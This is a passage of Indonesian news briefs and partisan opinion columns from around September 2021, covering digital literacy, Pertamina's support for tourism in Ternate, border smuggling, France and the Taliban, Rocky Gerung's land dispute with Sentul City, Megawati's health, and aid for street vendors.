teknologi dan derasnya arus informasi. Program-program tersebut, khususnya Gerakan Literasi Digital Nasional akan mengedukasi masyarakat untuk cerdas bermedia sosial agar tidak mudah percaya pada hoaks, tidak menyebarkan hoaks, bahkan membuat hoaks. “Kita mengajak masyarakat untuk mengisi media sosial dengan konten-konten positif,” kata Usman Kansong. Peran Aktif Memerangi hoaks dan disinformasi membutuhkan peran aktif dari berbagai pihak, tidak hanya pemerintah, namun juga masyarakat sipil. Melalui kanal YouTube Siberkreasi, pemerintah bersama pemangku kepentingan lain dengan aktif menyebarkan konten-konten positif, seperti mengadakan webinar terkait literasi digital, podcast, hingga video-video edukasi singkat guna meningkatkan pengetahuan dan kewaspadaan masyarakat saat beraktivitas di dunia digital. Pemerintah melalui Menteri Komunikasi dan Informatika Johnny G. Plate mengajak masyarakat untuk turut berperan aktif meningkatkan literasi digital dengan mengikuti acara dan pelatihan Gerakan Literasi Digital Nasional. Pendaftaran dapat dilakukan di event.literasidigital.id dan peserta dapat memilih pelatihan berdasarkan domisili masing-masing. “Program ini sudah dimulai pendaftaraannya, maka ambillah kesempatan itu,” kata Johnny. Literasi digital merupakan keterampilan krusial yang harus dimiliki masyarakat Indonesia di tengah perkembangan teknologi yang kian pesat. Keterampilan ini merupakan alat mitigasi dampak-dampak negatif yang diakibatkan aktivitas di ruang digital, terlebih kerentanan masyarakat terhadap hoaks dan disinformasi. Intoleransi dan polarisasi masyarakat diyakini dapat dihindari dengan literasi digital. (mth)

Pertamina Dukung Pengembangan Objek Wisata Ternate

Ternate, FNN - PT Pertamina (Persero) melalui Communication, Relations dan CSR Pertamina Patra Niaga Papua Maluku, Subholding Commercial Trading berkomitmen untuk mendukung pengembangan objek wisata pantai untuk menarik pengunjung datang ke Ternate. "Kami lihat Ternate memiliki potensi wisata cukup diandalkan, selain dikelilingi laut yang indah, ada potensi wisata lereng gunung yang luar biasa mulai dari kampung, desa dan harus dirawat, dijaga serta dilestarikan dan Pertamina akan hadir untuk mengembangkan potensi wisata tersebut," kata Area Manager Communication, Relations & CSR Pertamina Patra Niaga Papua Maluku, Subholding Commercial & Trading, Edi Mangun kepada ANTARA, Minggu. Untuk Kota Ternate, saat ini Pertamina hadir untuk mengembangkan objek wisata Pantai Kastela merupakan wilayah potensial, karena memiliki sejarah panjang Kesultanan Ternate saat mengusir penjajahan Portugis di daerah tersebut. Dia menyatakan, untuk Pantai Kastela, tahap pertama PT Pertamina bersama masyarakat, TNI/Polri, Pemkot Ternate melalui Dinas Lingkungan Hidup dan Pariwisata telah bergotong royong melakukan pembersihan pantai. Selanjutnya akan dilakukan pengecatan, pemasangan penerangan serta penyediaan ornament di kawasan objek wisata Pantai Kastela, sehingga para pengunjung bisa menikmati keindahan Pantai Kastela yang memiliki panorama sunset terbaik di Maluku Utara. Menurut dia, dukungan PT Pertamina itu karena adanya Kelompok Sadar Wisata (Pokdarwis) yang memiliki spirit dalam membangun sektor wisata, terutama di Kota Ternate, makanya, dengan adanya kepedulian, sehingga Pertamina berbagi dengan masyarakat di Indonesia bagian Timur, salah satunya dengan mendukung potensi wisata dan sektor Usaha Mikro kecil dan Menengah (UMKM) di Kota Ternate. Sebelumnya, PT Pertamina (Persero) melalui Marketing Operation Region (MOR) VIII kembali menyalurkan modal usaha Program Kemitraan bagi UMKM di wilayah Malut yakni Ternate, Halmahera Timur dan Ambon. Edi mengakui, penyaluran bantuan itu dapat membantu pengembangan usaha apalagi di masa pandemi COVID-19, sehingga penyaluran kepada UMKM yang telah berlangsung di Ternate dan Halmahera Timur dengan total penyaluran reguler Rp 1.770 Miliar dengan jumlah mitra binaan sebanyak 27 mitra sudah termasuk dengan 4 mitra binaan program Pinky Movement dengan total pencairan 230 juta dan Ambon dengan total Rp 2.460 miliar untuk mitra binaan reguler sebanyak 38 mitra dan 27 mitra binaan program Pinky Movement dengan pencairan 1.960 miliar. Kemudian akan bergabung lagi nanti untuk wilayah Seram bagian barat, Masohi dan Kairatu yang berada di wilayah MOR VIII. Menurut dia, program tersebut berupa bantuan pinjaman permodalan dengan maksimal nilai pinjaman Rp 200 juta untuk setiap UMKM yang dinilai layak. Program Kemitraan merupakan salah satu program kepedulian kepada masyarakat khususnya para pelaku UMKM yang ditugaskan kepada Badan Usaha Milik Negara (BUMN) dan telah diatur dalam Peraturan Menteri Peraturan Menteri BUMN PER-02/MBU/04/2020 tanggal 2 April 2020 tentang Program Kemitraan Bina Lingkungan (PKBL). Pertamina telah menerapkan Program Kemitraan semenjak tahun 1993. Program Kemitraan tersebut untuk meningkatkan kemampuan usaha kecil agar menjadi tangguh dan mandiri. "Penyaluran di wilayah Papua untuk mengembangkan para pelaku UMKM dan juga diharapkan dapat membuka lapangan kerja baru di masa pandemi untuk mempercepat laju pertumbuhan ekonomi Indonesia. Selain itu juga dapat meringankan beban para UMKM dengan biaya administrasi yang rendah sebesar 3 persen," kata Edi Mangun. (mth)

Satgas Pamtas Gagalkan Penyelundupan Mobil Asal Malaysia

Pontianak, FNN - Personel Satgas Pamtas RI-MLY Yonif Mekanis 643/Wanara Sakti menggagalkan penyelundupan satu unit mobil Toyota Land Cruiser VX 80 asal Malaysia, di daerah Segorong, Kecamatan Seluas, Kabupaten Bengkayang, Provinsi Kalimantan Barat. "Kendaraan tersebut diamankan personel Pos Koki Jagoi Babang Satgas Pamtas Yonif Mekanis 643/Wns dipimpin Dan SSK II Koki Jagoi Babang Lettu Inf Oki Abri Maestro bersama personel Tim Tindak Bea Cukai Kanwil Kalbagbar di daerah Segorong, Sabtu (11/9) sekitar pukul 22.00 WIB," kata Dansatgas Pamtas Yonif Mekanis 643/Wns, Letkol (Inf) Hendro Wicaksono, dalam keterangan tertulisnya di Makotis Entikong, Kabupaten Sanggau, Minggu. Dia menjelaskan penangkapan berawal dari informasi masyarakat bahwa telah melintas 1 (satu) unit mobil Toyota Land Cruiser VX 80 yang melintas dari arah Malaysia masuk ke Indonesia, dari Kebun Sawit di Jalan Negara daerah Jagoi Babang, kemudian oleh Dan SSK II Koki Jagoi Babang ditindaklanjuti secara cepat dengan menghubungi Tim Tindak Bea Cukai dan melakukan patroli bersama untuk penyisiran dan pengejaran dari Kecamatan Jagoi Babang sampai Kecamatan Seluas. "Tepatnya di daerah Segorong, Kecamatan Seluas, didapati mobil dimaksud, yaitu jenis Toyota Land Cruiser VX 80, kemudian oleh personel Satgas Pamtas dan Tim Tindak Bea Cukai menghentikan secara paksa dan mobil berhenti dengan kondisi mesin masih menyala, pintu sebelah kanan terbuka namun sopir berhasil melarikan diri," katanya. Ia menambahkan untuk saat ini barang bukti satu unit mobil Toyota Land Cruiser VX 80 diserahkan kepada Kantor Bea Cukai Kanwil Kalbagbar untuk dilakukan pemeriksaan lebih lanjut, sedangkan seorang pelaku yang melarikan diri namanya sudah dikantongi dan masih dalam proses pencarian. "Atas kerawanan ini, kami Satgas Pamtas akan meningkatkan dan memperketat pengawasan di sepanjang jalur perbatasan Indonesia-Malaysia," tegas Dansatgas. Sementara itu, di tempat terpisah Dan SSK II Koki Jagoi Babang, Lettu (Inf) Oki Abri Maestro mengatakan keberhasilan Satgas Pamtas menggagalkan penyelundupan mobil asal Malaysia ini hasil sinergitas yang baik dengan instansi CIQS di perbatasan, termasuk hubungan yang baik dengan masyarakat sehingga diperoleh informasi tentang adanya kegiatan ilegal di perbatasan. Kepala Kantor Bea Cukai Jagoi Babang, Junanto Kurniawan mengatakan mobil ilegal tersebut disita Bea Cukai dan selanjutnya akan dilelang oleh negara dan untuk pelaku penyelundupan tetap akan dicari aparat terkait. "Hal ini berkat sinergitas yang tinggi antara instansi CIQS di perbatasan wilayah Jagoi Babang, dan ini penangkapan yang pertama kali sepanjang tahun 2021,” ujarnya. (mth)

Prancis tidak Akan Menjalin Hubungan dengan Taliban

Paris, FNN - Prancis tidak akan memiliki hubungan apa pun dengan pemerintahan baru yang dibentuk Taliban. Sebab, pemerintahan baru yang menguasai Afghanistan dinilai berbohong. "Prancis menolak mengakui atau memiliki hubungan apa pun dengan pemerintah itu. Kami menginginkan tindakan dari Taliban dan mereka akan membutuhkan ruang bernafas ekonomi dan hubungan internasional. Terserah mereka, " kata Menteri Luar Negeri Prancis, Jean-Yves Le Drian, Sabtu (11/9) malam, sebelum menuju pembicaraan di Qatar pada Ahad (12/9), membahas evakuasi di masa depan dari Afganistan. "Mereka (Taliban) mengatakan akan membiarkan beberapa orang asing dan warga Afghanistan pergi dengan bebas dan (berbicara) tentang pemerintahan yang inklusif dan representatif. Akan tetapi, mereka berbohong," kata Le Drian di France 5 TV, sebagaimana dikutip dari Antara. Paris telah mengevakuasi sekitar 3.000 orang dari Afghanistan. Pemerintah negara tersebut juga mengadakan pembicaraan teknis dengan Taliban untuk memungkinkan keberangkatan tersebut. Le Drian, yang menuju ke ibu kota Qatar, Doha, Ahad mengatakan masih ada beberapa warga negara Prancis dan beberapa ratus warga Afghanistan yang memiliki hubungan dengan Prancis yang tersisa di Afghanistan. (MD).

Tanamkan Prinsip Toleransi Sejak Dini

Jakarta, FNN - Wakil Ketua Majelis Permusyawaratan Rakyat, Hidayat Nur Wahid meminta prinsip dan perilaku toleransi harus ditanamkan terutama kepada anak-anak sejak usia dini melalui lembaga pendidikan. Dia mengatakan Indonesia sebagai negara besar yang terdiri atas beragam suku, budaya, agama, ras, dan warna kulit pasti memiliki berbagai tantangan berat dalam perjalanan sejarah hingga sekarang. Salah satu ancaman menipisnya nilai toleransi antarsesama anak bangsa. "Minimnya, bahkan hilangnya toleransi berganti dengan intoleransi akan sangat berbahaya terhadap keberlangsungan Negara Kesatuan Republik Indonesia (NKRI). Karena intoleransi membuat setiap rakyat menjadi individualistik sehingga akan mempersulit bangsa ini menghadapi berbagai permasalahan internal dan eksternal seperti bencana pandemi Covid-19," kata Hidayat dalam keterangannya di Jakarta, Ahad, 12 September 2021. Hal itu dikatakan Hidayat Nur Wahid (HNW) saat hadir menjadi narasumber secara virtual acara ‘Sosialisasi Empat Pilar MPR RI’ Kerja Sama MPR RI dengan Yayasan Al-Barakah Abepura, Papua, Sabtu (11/9). Hidayat mengatakan lembaga pendidikan menjadi sangat dibutuhkan untuk penguatan nilai toleransi karena menjadi tempat generasi muda akan belajar sejarah bahwa prinsip dan praktik toleransi yang luar biasa telah ditunjukkan para pendiri bangsa. "Dengan perbedaan suku, agama, ras, pandangan politik, pendidikan, dan latar belakang profesi, mereka bisa menyatu sehingga Indonesia mampu meraih kemerdekaannya. Toleransi juga yang menyebabkan terbentuknya NKRI dan Pancasila," ujarnya, sebagaimana dikutip dari Antara. Menurut dia, melihat pentingnya langkah penguatan nilai-nilai toleransi, maka perlu ada satu upaya lagi untuk memaksimalkan teori dan prinsip seputar toleransi, yakni keteladanan. Hidayat mengajak seluruh elemen bangsa terutama orang tua, lembaga pendidikan, para tenaga pendidik, dan pemerintah supaya mendukung serius upaya itu dengan memberikan contoh nyata implementasi toleransi dalam kehidupan sehari-hari. Dia mengajak semua pihak agar sama-sama menjadi teladan bagi diri sendiri dan orang lain karena tanpa keteladanan maka upaya memperkuat nilai toleransi akan sia-sia. (MD).

Tanah Rocky Gerung dan Perlawanan Revolusioner

By Asyari Usman AKTIVIS oposisi, Rocky Gerung (RG), mengatakan PT Sentul City berbohong. Dalam percakapan dengan wartawan senior, Hersubeno Arief, di kanal YouTubenya Rocky Gerung Official (RGO), Rocky mengatakan tidak benar warga Bojong Koneng mendukung tindakan Sentul City untuk menguasai tanah yang telah dimanfaatkan puluhan tahun oleh orang-orang yang menghuni tanah mereka. Sentul City (SC) melayangkan somasi kepada Rocky agar mengosongkan tanah seluas 800 meter yang dibelinya pada 2009 dari pemilik sebelumnya. SC mengklain tanah yang dimiliki RG itu adalah milik mereka berdasarkan Sertifikat Hak Guna Bangunan (SHGB) nomor 2411 dan 2412 Bojong Koneng. Dalam bincang-bincang di RGO yang diunggah hari Minggu pagi (12/9/2021), Rocky mengatakan dia akrab dengan masyarakat Bojong Koneng, Kabupaten Bogor, Jawa Barat. Belum lama ini dia menjumpai para pemuka masyarakat di sana. Dari mereka itulah Rocky mengetahui bahwa Sentul City berbohong tentang dukungan warga setempat untuk menggusur pemukim. “Mana mungkin warga yang mau digusur mendukung pihak yang akan menggusur,” kata Rocy kepada Hersubeno. Mengapa tanah Rocky mau dirampas oleh SC? Apa yang ada di balik somasi yang telah dua kali dilayangkan ke RG itu? Banyak yang menduga bahwa tidakan perusahaan properti itu bermuatan politis. Bisa jadi. Mengingat Rocky senantiasa mengeritik penguasa dengan tajam dan menohok. Dengan kecerdasanya membangun narasi, kritikan Rocky membuat para penguasa kesulitan untuk meresponnya. Tetapi, alasan penggusuran yang hampir 100% benar adalah bahwa pengosongan paksa oleh SC menceritakan kepada kita tentang kerakusan dan kesewenangan perusahaan-perusahaan yang merasa bisa melakukan apa saja di negeri ini. Mereka selalu merasa bisa menang. Dan harus menang. Posisi ini memang telah mereka nikmati selama puluhan tahun. Masyarakat lemah dipastikan akan kalah ketika berhadapan dengan perusahaan besar semisal SC. Keinginan mereka selalu bisa terlaksana. Rata-rata pemegang kekuasaan siap mendukung mereka. Tentunya tidak ada dukungan yang gratis. Di bawa ke pengadilan, menang. Eksekusi penggusuran, lancar. Para komandan aparat penggusur siap menghadapi rakyat dengan tindakan keras. Sampai berdarah-darah pun tidak masalah. Sentul City mengancam akan merubuhkan bangunan milik Rocky di lahan yang dihuni aktivis oposisi itu. SC juga mengancam akan mempidanakan RG jika dia memasuki lahan yang telah dimiliknya itu. Mungkin Anda bertanya, mengapa Sentul City berani mengancam Rocky? Pertanyaan ini sangat menarik. Selama ini RG selalu bisa menavigasikan berbagai tantangan yang dihadapinya. Kalau SC jadi melaksanakan ancaman-ancaman itu, bisa dipastikan manajemen perusahaan ini merasa cukup kuat. Sangat mungkin mereka telah memetakan kekuatan Rocky dan kekuatan yang mereka miliki. Barangkali saja SC sudah menghitung amunisi yang ada pada mereka dan telah mendata “kekuatan luar” yang akan membentengi mereka. Bisa jadi SC telah menyiapkan “road map” kemenangan dalam sengketa dengan Rocky. Tetapi, Rocky tampaknya bukan orang yang bisa digusur begitu saja seperti kebiasaan mereka menggusur orang-orang kecil dengan angkuhnya. Hampir pasti opini publik akan berada di belakang Rocky. Sehingga, sengketa itu nanti akan sepenuhnya pindah ke wilayah politik. Tak terelakkan perang opini akan lebih banyak mendominasi sengketa ini. Tak terhindarkan pula akan viral kembali isu kepemilikan belasan juta hektar lahan oleh segelintir konglomerat. Fakta ini merupakan beban yang berat bagi pihak yang berkuasa. Para penguasa sangat rentan jika soal ketidakadilan pemilikan tanah ini menjadi bahan diskusi dan diskursus di tengah masyarakat. Sebab mereka menyadari bahwa isu belasan juta hektar tanah milik beberapa konglomerat bisa membangkitkan perlawanan revolusioner dari rakyat. (Penulis wartawan senior fNN)

No Rocky, No Party

Oleh Dhimam Abror Djuraid NO Rocky, No Party. Tidak ada Rocky, tidak ada pesta. Begitu tagline tidak resmi dari acara Indonesia Lawyers Club, acara talkshow paling populer yang sekarang sudah (dibikin) almarhum. Rocky Gerung menjadi salah satu bintang yang paling ditunggu-tunggu di acara tiap Selasa malam. Acara dipandu Karni Ilyas dengan gayanya yang khas. Suara serak dan kalimat yang sering terbata-bata, tetapi sangat otoritatif. Karni memandu acara dan membiarkan narasumber berbicara tanpa sela. Kalau ada yang berdebat, Karni membiarkannya. Ketika debat menjadi panas dan saling potong, Karni langsung menginterupsi dengan kalimat, ‘’Kita rehat dulu’’. Tidak ada acara talkshow televisi yang durasinya bisa sampai empat jam seperti ILC. Hanya acara kontes dangdut yang punya durasi berjam-jam seperti itu. Dalam setiap episode, panelis yang muncul bisa sepuluh sampai belasan orang. Kalau masing-masing panelis bicara 15 menit, durasi sudah mencapai tiga jam. Kalau Karni membiarkan panelis berdebat—seperti kebiasaannya—acara akan bisa menjadi lima jam sampai lewat tengah malam. ILC menjadi ajang debat antara pro dan kontra, antara pendukung dan oposisi pemerintah. Desain panggung dibuat berjajar setengah oval memisahkan panelis antara kiri dan kanan. Mirip dengan pembagian tempat duduk parlemen Prancis setelah revolusi 1789, yang pro dan kontra dipisahkan di kiri dan kanan. Pemisahan itu sekarang menjadi tradisi politik untuk menggambarkan garis ideologi, kiri berarti Marxis dan kanan berarti konservatif. Rocky selalu berada pada sisi oposisi, menjadi pendebat ulung dengan penguasaan retorika yang yang sangat baik. Rocky punya ilmu orasi, memahami teori, dan pandai memilih diksi. Narasinya runtut dan intonasinya menarik. Penguasaannya terhadap teori-teori filsafat sangat mumpuni. Di tangan Rrocky, teori-teori filsafat yang rumit dan berat menjadi sederhana dan ringan. Setiap kali diserang oleh lawan debatnya, Rocky bukan saja bisa mengelak dengan cerdik, tapi langsung melakukan counter attack yang mematikan. Salah satu diksi yang menjadi ciri khas Rocky adalah ‘’dungu’’. Tidak semua orang bisa mengucapkan kata itu, tapi Rocky bisa melakukannya setiap saat, kepada siapa saja, dan selalu membuat lawan debatnya tidak berkutik dengan sebutan itu. Sebutan dungu bersifat pejoratif atau merendahkan. Tetapi Rocky tidak bermaksud merendahkan lawan debatnya. Dia hanya mencari diksi yang tepat dan sederhana untuk menggambarkan salah pikir yang dilakukan lawan debatnya. Rocky menggambarkan ‘’logical fallacy’’ kesalahan logika lawan debatnya dengan sebutan ‘’dungu’’. Rocky tidak pernah kehabisan kreatifitas menghadapi para penyerangnya. Para buzzer yang terus-menerus menerornya dibuat mati kutu. Rocky menyebut buzzer dan cebong penjilat kekuasaan sebagai ‘’buzzer sachetan’’ dan ‘’buzzer eceran’’, untuk menggambarkan bahwa mereka adalah buzzer bayaran dengan harga receh. Dalam sebuah episode, Rocky diserang oleh Kapita Ampera—jurubicara pemerintah (sebut saja begitu)—dengan sebutan anti-pemerintah yang tidak konsisten. Rocky dituding anti dan membenci Jokowi. Rocky membantah dan menegaskan dia tidak pernah membenci Jokowi sebagai pribadi. Rocky mengritik kebijakan Joko Widodo sebagai presiden, dan hal itu sah dan bebas dilakukan di negara demokrasi. Nama Rocky bahkan diplesetkan menjadi Rocky Garong. Rocky menjawab dengan membeberkan sejumlah fakta, bahwa dia bukan membenci pemerintah, tapi dia justru memberi kontribusi kepada pemerintah dengan kritik-kritiknya. Rocky menunjukkan dia pernah mengajar di UI (Universitas Indonesia) tanpa mengambil gaji, Rocky pernah mengajar di sekolah pimpinan perwira polisi, dan Rocky bahkan pernah mengajar di Megawati Institute mikik PDIP. Rocky balik menyindir dan memelesetkan nama Ampera, dari ‘’amanat penderitaan rakyat’’ menjadi ‘’amanat pemerintah’’. Dalam sebuah episode lain, Profesor Henry Subiakto dari Unair (Universitas Airlangga), menyerang Rocky dengan mempertanyakan kredensial akademiknya. Tapi Rocky membalik dengan cepat dan menyebut Henry sebagai profesor ‘’air kolam’’ yang hidup sama cebong. Rocky sering disebut sebagai profesor oleh penggemarnya. Sebutan ini bukan sebutan honoris causa seperti yang disandang Megawati. Sebutan ini hanya informalitas untuk menghormati kepakarannya di bidang filsafat. Sebenarnya Rocky lebih pantas mendapat gelar profesor honoris causa. Banyak orang yang mendapat gelar profesor honoris causa, tapi malah menjadi bahan tertawaan dan diplesetkan menjadi ‘’profesor humoris causa’’. Di dunia stand up comedy ada istilah roasting, menggojlok seseorang dan mengolok-oloknya dengan menjadikan objek canda di depan umum. Roasting artinya memanggang. Yang menjadi korban panggang tentu bisa gosong, merah padam mukanya. Rocky bukan stand up comedian, tapi kalimat-kalimatnya sering mengundang senyum. Tidak terhitung berapa banyak lawan debat yang terpanggang menjadi korban roasting Rocky. Ali Mochrtar Ngabalin, salah satu juru debat lain andalan pemerintah, sudah tidak terhitung berapa kali gosong karena dipanggang Rocky. Tapi, salah satu kelebihan Ngabalin adalah punya kulit muka tebal dan mudah berganti-ganti setiap saat. Tiap kali kena roasting dan kulit mukanya gosong, dengan cepat kulit itu berganti lagi. Begitu berkali-kali. Ngabalin kehabisan jurus dan kata untuk menahan gempuran Rocky. Ketika sudah terdesak dan tidak punya argumen yang rasional, tidak ada pilihan lain kecuali menyerang pribadi. Ngabalin lalu menyerang kehidupan pribadi Rocky yang berselibat. Menyerang pribadi seseorang adalah tindakan yang tidak pantas. Hal itu menunjukkan sikap putus asa dan kehilangan akal untuk berdebat. Serangan terhadap pribadi disebut sebagai argumen ‘’ad hominem’’ yang berada pada urutan paling bawah dalam teori retorika. Kalau sudah tidak mampu lagi mendebat secara rasional, maka pilihannya adalah melakukan ad hominem. Berbagai cara dipakai untuk menghentikan Rocky. Kampanye tangkap Rocky marak di media sosial. Tidak tanggung-tanggung, Budiman Sudjatmiko, kader PDIP yang mestinya punya kapasitas intelektual yang cukup, malah ikut mengipasi kampanye tangkap Rocky. Budiman sendiri sudah sangat sering menjadi korban roasting Rocky. Upaya menangkap Rocky tidak kesampaian, tapi teror tidak pernah berhenti. Sekarang muncul tuntutan dari sebuah perusahaan pengembang besar Sentul City agar Rocky keluar dari rumahnya di Bogor. Rumah yang sudah ditempatinya belasan tahun diklaim sebagai milik Sentul City. Menghentikan dan membungkam oposisi, apalagi membunuh oposisi, adalah kejahatan demokrasi. Dalam alam demokrasi, suara oposisi adalah suara kicauan burung yang indah yang harus dibiarkan tetap bebas di alam lepas. Novelis Amerika, Harper Lee, menulis novel ‘’To Kill a Mockingbird’’ (Membunuh Burung Pengejek) pada 1960. Sampai sekarang novel itu menjadi bacaan wajib di sekolah-sekolah Amerika karena ditulis dengan sangat indah dan memenangkan Hadiah Pulitzer yang bergengsi. Novel bercerita mengenai Atticus Finch, seorang pengacara di kota kecil Alabama, yang selalu gigih membela hak-hak warga kulit hitam yang sering tertindas. Message utama dari novel itu adalah bahwa memperjuangkan demokrasi akan selalu berhadapan dengan jalan yang sangat sulit. Suara perjuangan demokrasi itu terdengar seperti suara burung pengejek bagi kekuasaan. Bagi rakyat yang merindukan kebebasan, kicau mocking bird adalah alunan indah di alam bebas yang memberikan hiburan dan pengharapan. Bagi kekuasaan yang korup, kicau burung mockingbird terdengar sebagai ejekan yang memerahkan telinga. Karena itu si burung pengejek itu harus dibunuh. To Kill a Mockingbird adalah pembunuhan terhadap demokrasi. Rocky Gerung adalah the mockingbird, si burung pengejek. Ia tidak boleh dibunuh kalau demokrasi tidak ingin mati. Upaya pembunuhan oleh Sentul City harus dihentikan. No Rocky, No Party. No Sentul City, No Problem. (*)

Tangisan Mega

By M Rizal Fadillah MESKI muncul agak lambat untuk klarifikasi, Mega menayangkan video yang menunjukkan kesehatannya. Dipertanyakan mengapa Sekjen Hasto tidak berada di dekat Ketum di momen penting ini. Mega justru didampingi dua petinggi PDIP lainnya. Sedih akibat orang membicarakan sakitnya, Mega seperti menahan tangis haru atas perhatian besar pendukungnya. Dengan nada pasrah berbasis kesabaran, Mega menampilkan wajah lain dari yang biasanya. Sekretarisnya dilarang mengamuk ketika mantan Menterinya minta agar soal sakit tidak ditutup-tutupi. Terlihat dalam gambar sebelah, Hasto Kristiyanto menyeka air mata, turut bersedih. Mengingat hal ini berhubungan dengan partai politik dan tokoh politik, maka wajar muncul berbagai tafsir politik. Ada yang membela habis dan mengecam hoax media, ada pula yang menilai jangan-jangan ini adalah skenario partai untuk bermanuver "playing victim". Cara mengucapkan, gestur tubuh, tertawa, nyinyir, marah atau tangisan yang dilakukan oleh tokoh politik maupun pejabat dapat ditafsirkan secara politis. Ada lagi yang mengambil momen untuk cari muka dengan melapor-laporkan ke Kepolisian. Hersubeno Arief akan dilaporkan oleh Gardu Banteng Marhaen ke Bareskrim Mabes Polri dengan alasan menyebarkan hoax. Banyak kalangan menilai bahwa Hersubeno Arief sana sekali tidak menyebarkan hoax tetapi memverifikasi atau mendorong agar ada klarifikasi. Jika benar dilaporkan maka isu akan semakin bergulir dan membesar. Bukan simpati tetapi juga antipati. Pertarungan politik bukan Mas Hersu dengan Banteng Marhaen lagi tetapi menohok pada Hersubeno versus Megawati. PDIP tidak mendapat manfaat dari guliran ini. Penyebar awal lah yang semestinya diperiksa, jangan jangan itu dari kalangan internal partai sendiri. Sebenarnya ketika belum ada klarifikasi atas suatu berita, maka semua informasi secara hukum belum dapat dikualifikasi hoax. Setelah ada penjelasan dan pembuktian tetapi masih juga disebarkan maka barulah disebut penyebaran hoax. Disinilah sering terjadi salah kaprah dalam pelaksanaan hukum dan disini pula jebakan-jebakan politik bisa dimainkan. Tangisan politik Mega ini untuk kedua kalinya. Pertama saat menangisi Jokowi yang menurutnya sering disebut "kurus" dan "kodok". Ia merasa iba kepada Jokowi. Kedua ya inilah saat ia mengiba dirinya sendiri. Mega terharu atas perhatian orang yang memperdulikan diri dan kesehatannya. Sebagai manusia wajar jika secara emosional banyak hal yang membuatnya menangis. Wanita ataupun lelaki, petinggi maupun rakyat jelata. Rakyat yang kini banyak menangis karena penderitaannya. Sebenarnya hewan pun bisa menangis pula. Sebagai contoh pada Januari 2013 terungkap berita bahwa seekor banteng yang akan dipotong menangis. Shiu salah satu pekerja di rumah potong hewan merasa gemetar ketika melihat si banteng matanya berkaca-kaca. Tiba-tiba banteng itu berlutut dan meneteskan air mata. Shiu menarik-narik, tetapi hewan itu menolak bergerak. Akhirnya ia membatalkan niat untuk memotong dan segera mengumpulkan dana. Ia serahkan banteng itu kepada biarawati di sebuah kuil untuk memeliharanya. Banteng bisa berdiri dan bergerak mengikutinya. Tayangan video telah ditampilkan, klarifikasi telah dilakukan. Mega sehat. Yang belum terjawab adalah siapa yang memulai melempar isu Mega sakit keras sehingga menjadi "Isu Nasional"? Maklum Ketua Umum dari partai berkuasa. Rakyat tidak menghendaki adanya tangisan berseri. Mega tentu memahami hal ini. Bangsa butuh spirit perjuangan yang didorong oleh para pemimpin negeri yang timbul tenggelam bersama rakyat. Bukan yang jauh dari penderitaan rakyat atau sekedar pandai mempermainkan perasaan rakyat. *) Pemerhati Politik dan Kebangsaan.

Tenant di Merdeka Walk Akan Dipindah ke Kota Lama Kesawan

Medan, FNN - Pemerintah Kota Medan, Sumatera Utara, menyatakan sejumlah tenant atau penyewa di Merdeka Walk akan dipindah ke kawasan Kota Lama Kesawan tahun depan. "Sebelum dipindah, Pemkot Medan akan menata dahulu kawasan Kota Lama Kesawan," terang Wakil Wali Kota Medan, Aulia Rachman di Medan, Sabtu. Ia mengatakan, termasuk Gedung Warenhuis yang merupakan super market pertama Kota Medan dibangun 1916 agar menjadi layak dihuni pedagang. Pemkot Medan berkomitmen menata Kota Medan menjadi lebih baik, salah satunya menata kawasan Kota Lama Kesawan bagi pelaku Usaha Mikro, Kecil dan Menengah (UMKM). Wakil Wali Kota menjelaskan termasuk mengembalikan fungsi Lapangan Merdeka Medam sebagai lokasi cagar budaya dan menjadikanya sebagai ruang terbuka hijau (RTH). "Wali Kota ingin Kota Medan menjadi lebih baik, salah satunya mengembalikan fungsi Kota Lama Kesawan dan Lapangan Merdeka dijadikan RTH sebagai paru-parunya Kota Medan," tutur Aulia. "Kami ingin menata kota ini dengan tetap menjaga ekosistem bisnis bagi para tenant yang sudah ada," tegas Wakil Wali Kota. (mth)

Pemerintah Luncurkan Bantuan Tunai Rp1,2 Triliun untuk PKL dan Warung

Jakarta, FNN - Pemerintah meluncurkan program bantuan tunai senilai Rp1,2 triliun untuk pedagang kaki lima (PKL) dan pemilik warung di wilayah Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) level 4. Bantuan senilai Rp1,2 triliun akan dibagikan kepada 1 juta PKL dan pemilik warung di wilayah PPKM. Setiap penerima akan mendapatkan bantuan sebesar Rp1,2 juta yang diharapkan dapat membantu pengelolaan kas kas dan permodalan PKL dan pemilik warung di tengah pandemi COVID-19. "Pemerintah meluncurkan program ini untuk membantu semua PKL dan pemilik warung yang usahanya terdampak pandemi. Pemerintah berharap bantuan ini bisa membantu mereka untuk dapat bertahan dan memulihkan usaha mereka," ujar Menteri Komunikasi dan Informatika Johnny G Plate, Sabtu, dalam siaran resmi. Johnny menambahkan, penyaluran perdana bantuan tersebut dilakukan di Medan, Sumatra Utara. Penyaluran bantuan itu adalah bentuk upaya pemerintah untuk menjaga keseimbangan pengendalian COVID-19 dan pemulihan ekonomi di tengah pemberlakuan PPKM. "Kami selalu menegaskan bahwa pemerintah selalu berkomitmen untuk memprioritaskan keseimbangan ekonomi dan kesehatan masyarakat dalam pengendalian pandemi. Hal ini merupakan salah satu bukti negara hadir untuk melindungi setiap segmen kegiatan usaha masyarakat," kata Menkominfo. Pemerintah, lanjutnya, memahami bahwa penerapan PPKM level 4 sangat berdampak pada aktivitas dunia usaha, khususnya segmen usaha kecil dan mikro. Banyak di antara harus tutup sementara dan melakukan berbagai langkah untuk bertahan hidup. Bantuan itu diharapkan dapat meringankan beban ekonomi mereka yang terdampak, sekaligus menjadi dukungan bagi kas ataupun modal usaha PKL dan warung agar berangsur pulih. "Bantuan ini merupakan dana hibah dan diberikan langsung dalam sekali pembayaran kepada PKL dan pemilik warung yang paling terdampak PPKM level 4 serta tidak memiliki dana cadangan yang cukup," ujarnya. Menkominfo menambahkan, Presiden Jokowi telah memutuskan memberi kewenangan kepada TNI dan Polri untuk melakukan pendataan dan menyalurkan bantuan ini secara langsung kepada PKL dan pemilik warung. Para PKL dan pemilik warung akan terlebih dahulu mengikuti proses pendataan yang dilakukan oleh Babinsa ataupun Babinkamtibmas. Sebagai tanda bukti menerima bantuan, para pelaku usaha akan mengisi data seperti identitas diri, jenis dan lokasi usaha, serta dokumentasi foto yang memadai. (mth)

Kejaksaan Ngawi Tahan Mantan Kades Sidomulyo Terlibat Korupsi

